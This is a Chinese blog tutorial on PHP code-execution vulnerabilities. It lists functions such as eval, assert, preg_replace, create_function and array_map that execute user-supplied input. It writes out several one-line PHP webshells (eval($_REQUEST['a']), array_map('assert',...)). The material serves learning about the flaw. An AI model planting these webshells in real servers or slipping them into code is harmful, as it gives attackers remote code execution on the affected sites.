首页 > 其他分享 >代码执行命令

代码执行命令

时间:2024-08-31 16:36:48浏览次数:13  
标签:函数 REQUEST 命令 代码执行 array 执行 id

代码执行漏洞原理: 用户输入的数据被当做后端代码进行执行

//其实一句话木马的本质就是一个代码执行漏洞 用户输入的数据被当做代码进行执行。

在PHP存在诸多函数可以做到代码执行 [注:为了方便此处我把要执行的代码简写为$a] 1、eval($a); //eval是代码执行用的最多的,他可以多行执行 eval($_REQUEST['a']);

2、assert($a)//只能单行执行 assert($_REQUEST['a']) //如何多行执行呢?

写文件然后执行,例如: file_put_contents('1.php','')

3、preg_replace() //正则替换函数,他其实也会产生代码执行 preg_replace('/a/','x','abc');

4丶create_function() //匿名函数 $a = create_function('$id','echo $id;'); 自定义函数$a echo $a(8); //执行echo $id;因为$id我传参是8所以 echo $id;

5、array_map() //回调函数,调用某个函数。 图片是这个函数的用法,调用cube函数,传参 一句话木马: array_map('assert',array($POST['c'])); array_map($REQUEST['b'],array($_REQUEST['c'])); 请记住:Eval是无法调用的,因为eval比较特殊,不认为是函数,属于特殊写法 call_user_func() 也可回调,回调函数在PHP有很多

PHP版本5.5及其以上版本可以使用

"${phpinfo()}"; => 代码执行phpinfo()

PHP的字符串是可以使用复杂的表达式。例如 ${中间可以写调用的函数} ${phpinfo()}; //可以执行 $a = ${phpinfo()}; //可以执行

标签:函数,REQUEST,命令,代码执行,array,执行,id
From: https://www.cnblogs.com/Crushz-2024/p/18390455

相关文章

  • 命令执行漏洞
    原理:用户输入的数据被当做系统命令进行执行//其实一句话木马的本质就是一个命令执行漏洞。用户输入的数据被当做系统命令进行执行。在PHP存在诸多函数可以做到命令执行。1、system('whoami');PHP会操纵计算机执行whoami的命令,且输出并返回结果注意:目标机器是linux执行的就......
  • Linux2-Linux基础命令
    简介:个人学习分享,如有错误,欢迎批评指正。一、Linux的目录结构Linux的目录结构是一个树型结构Windows系统可以拥有多个盘符,如C盘、D盘、E盘Linux没有盘符这个概念,只有一个根目录/,所有文件都在它下面练习请根据语言描述,写出对应的Linux路径在根目录下有一......
  • 【Linux】命令expect使用详解
    一、概述1.1命令简介expect是由DonLibes基于Tcl(ToolCommandLanguage)语言开发的,是一种脚本语言,主要应用于自动化交互式操作的场景,借助Expect处理交互的命令,可以将交互过程如:ssh登录,ftp登录等写在一个脚本上,使之自动化完成。尤其适用于需要对多台服务器执行相同操作的环境中,可......
  • linux常用命令
    Linux下要获取命令的使用帮助,可有以下几种方法:一、通过help命令二、man命令查询手册(manual)三、info命令获取在下文档帮助ls显示目录中内容,包括子目录和文件相关属性信息ls-l:显示详细信息ls-a:显示子目录和文件,包括"."开头的隐藏目录和隐藏文件ls-A:不显示包括"."开......
  • 【Linux】如何用一条命令终止某个后台进程?
    在面试的时候被问道了这个问题,之前还从来没有了解过1.怎么终止某个进程?如果你学过Linux下的信号处理,这个问题应该不难答。在Linux下,使用kill命令发送信号给进程,其中9号信号SIGKILL就可以将进程终止。还有很多其他信号也能终止进程,比如前台进程使用CTRL+C会发送2号信号,也能终止进程......
  • 使用 nuxi build-module 命令构建 Nuxt 模块
    title:使用nuxibuild-module命令构建Nuxt模块date:2024/8/31updated:2024/8/31author:cmdragonexcerpt:nuxibuild-module命令是构建Nuxt模块的核心工具,它将你的模块打包成适合生产环境的格式。通过使用--stub选项,你可以在开发过程中加快模块构建速度,但在发......
  • Linux命令
    1、cdxx  去到xx路径下2、cd/   回到根路径3、cd~  切换到用户目录4、cd..  返回上一级目录5、cd../.. 返回上两级目录6、cd~user  进入个人的主目录7、tail-f【日志文件名】实时查看日志8、tail-f-n200【日志文件名】查看日志200行......
  • Linux FTP使用命令
    1、安装ftp客户端yum-yinstallftp2、ftp的用户缺省情况下,ftp服务器和操作系统用户名/密码一样,root用户的权限过大,不允许登录ftp服务器。3、登录服务器方法一:输入ftp服务器ip地址,回车后根据提示输入用户名和密码在这里插入图片描述方法二:输入ftp,用open服务器ip地址,连上服务器后......
  • ansible 命令及其部分模块
    ansible管理:ansible进行远程管理的两个方法:adhoc临时命令。就是在命令行上执行管理命令。playbook剧本。把管理任务用特定格式写到文件中。无论哪种方式,都是通过模块加参数进行管理。adhoc临时命令语法:ansible主机或组列表-m模块-a"参数"#-a是可选的通过ping模块测试到远......
  • python的py文件 如何在window和linux系统中 使用命令的方式执行 接收json参数 两者的
    1.在Python中,可以使用内置的sys模块来在Windows和Linux系统中接收命令行参数。使用sys.argv,它是一个列表,包含命令行参数。sys.argv[0]是脚本名,其余元素是命令行参数。示例代码:importsys#检查参数个数iflen(sys.argv)<2:print("请提供至少一个参数。")sys.......